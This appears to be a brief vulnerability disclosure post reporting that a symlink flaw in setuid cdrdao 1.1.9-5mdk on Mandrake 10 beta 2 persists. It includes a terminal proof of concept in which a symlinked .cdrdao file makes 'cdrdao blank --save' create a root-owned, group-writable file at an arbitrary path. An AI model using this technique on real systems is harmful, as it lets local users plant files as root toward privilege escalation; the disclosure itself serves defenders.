The vuln is still exist in cdrdao 1.1.9-5mdk + Mandrake 10 (beta 2).
I think cdrdao should drop root permission before save the config.
[newbug@...alhost tmp]$ ls -al /blah
ls: /blah: No such file or directory
[newbug@...alhost tmp]$ ln -s /blah .cdrdao
[newbug@...alhost tmp]$ rpm -qf `which cdrdao`
cdrdao-1.1.9-5mdk
[newbug@...alhost tmp]$ cdrdao blank --save
.
.
.
[newbug@...alhost tmp]$ ls -al /blah
-rw-rw-r--  1 root cdwriter 32 10&#26376;  2 10:41 /blah
[newbug@...alhost tmp]$
